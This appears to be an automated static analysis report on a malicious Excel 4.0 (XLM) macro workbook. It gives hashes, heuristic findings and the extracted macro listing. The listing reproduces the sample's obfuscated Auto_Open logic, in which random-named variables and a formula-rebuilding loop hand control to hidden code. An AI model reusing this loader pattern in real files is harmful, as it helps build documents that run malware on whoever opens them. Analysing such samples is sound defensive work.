Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2703ea11c0a2634…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:28:50 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: e2411f56049b9ce006b2a21b59eb0e42 SHA-1: fae55b51aaa2aec1de55f22104a9fda28e617ad1 SHA-256: f2703ea11c0a2634d2188284089a52c503368f239a9fc93560ed31e613a90c4e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6475 bytes
SHA-256: 256442650d5c6f434401ff09971bf1dc688cbec1f35d90e873f3c7633d030293
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WHs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C141 
' 0018     26 LABEL : Cell Value, String Constant - DIKudwFxCfN len=0 
' 0018     27 LABEL : Cell Value, String Constant - fXjLzVQXIrYG len=0 
' 0018     24 LABEL : Cell Value, String Constant - hoMsMwpGo len=0 
' 0018     23 LABEL : Cell Value, String Constant - HzSSxEAJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - IFpqRMOYWh len=0 
' 0018     22 LABEL : Cell Value, String Constant - IQbATxR len=0 
' 0018     24 LABEL : Cell Value, String Constant - ivsrFavYV len=0 
' 0018     24 LABEL : Cell Value, String Constant - JTJfXukGb len=0 
' 0018     22 LABEL : Cell Value, String Constant - KnriqoR len=0 
' 0018     27 LABEL : Cell Value, String Constant - LIVRBZMHiaqh len=0 
' 0018     22 LABEL : Cell Value, String Constant - lvbkybX len=0 
' 0018     22 LABEL : Cell Value, String Constant - nSUoiFp len=0 
' 0018     24 LABEL : Cell Value, String Constant - nvaOHYclg len=0 
' 0018     25 LABEL : Cell Value, String Constant - PXrvMjapfk len=0 
' 0018     27 LABEL : Cell Value, String Constant - rmByYnTwghsR len=0 
' 0018     27 LABEL : Cell Value, String Constant - rRlwXPzkNpci len=0 
' 0018     20 LABEL : Cell Value, String Constant - yidRy len=0 
' 0018     23 LABEL : Cell Value, String Constant - yjcHGZNg len=0 
' 0018     25 LABEL : Cell Value, String Constant - zckpJrXPoB len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZqPOnWCQSIGV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WHs,C52,"SET.NAME("nSUoiFp",VALUE("0"))",""
'  WHs,C54,"SET.NAME("LIVRBZMHiaqh",nSUoiFp)",""
'  WHs,C59,"SET.NAME("zckpJrXPoB",nSUoiFp)",""
'  WHs,C62,"SET.NAME("hoMsMwpGo",COUNTA(yjcHGZNg))",""
'  WHs,C66,"SET.NAME("IQbATxR",COUNTA(rmByYnTwghsR))",""
'  WHs,C70,[],""
'  WHs,C73,"SET.NAME("rRlwXPzkNpci","")",""
'  WHs,C75,"LIVRBZMHiaqh",""
'  WHs,C77,"SET.NAME("HzSSxEAJ",HLOOKUP("*",yjcHGZNg,LIVRBZMHiaqh,FALSE))",""
'  WHs,C80,"nvaOHYclg",""
'  WHs,C84,"SET.NAME("KnriqoR",nSUoiFp)",""
'  WHs,C87,[],""
'  WHs,C91,"KnriqoR",""
'  WHs,C95,"JTJfXukGb",""
'  WHs,C99,"IFpqRMOYWh",""
'  WHs,C103,"ivsrFavYV",""
'  WHs,C107,"SET.NAME("ZqPOnWCQSIGV",VALUE(HLOOKUP("*",rmByYnTwghsR,ivsrFavYV,FALSE)))",""
'  WHs,C110,"yidRy",""
'  WHs,C115,"rRlwXPzkNpci",""
'  WHs,C120,"zckpJrXPoB",""
'  WHs,C123,NEXT(),""
'  WHs,C127,"lvbkybX",""
'  WHs,C129,"SET.NAME("f",INT(T(FORMULA(T(rRlwXPzkNpci)&"",""&T(lvbkybX)))))",""
'  WHs,C131,"PXrvMjapfk",""
'  WHs,C134,NEXT(),""
'  WHs,C139,RETURN(),""
'  WHs,C165,"SET.NAME("DIKudwFxCfN",C52)",""
'  WHs,C168,"yjcHGZNg",""
'  WHs,C172,"SET.NAME("rmByYnTwghsR",R75C12)",""
'  WHs,C174,"SET.NAME("PXrvMjapfk",181)",""
'  WHs,C178,"SET.NAME("fXjLzVQXIrYG",3)",""
'  WHs,C180,DIKudwFxCfN(),""
'  WHs,C181,HALT(),""

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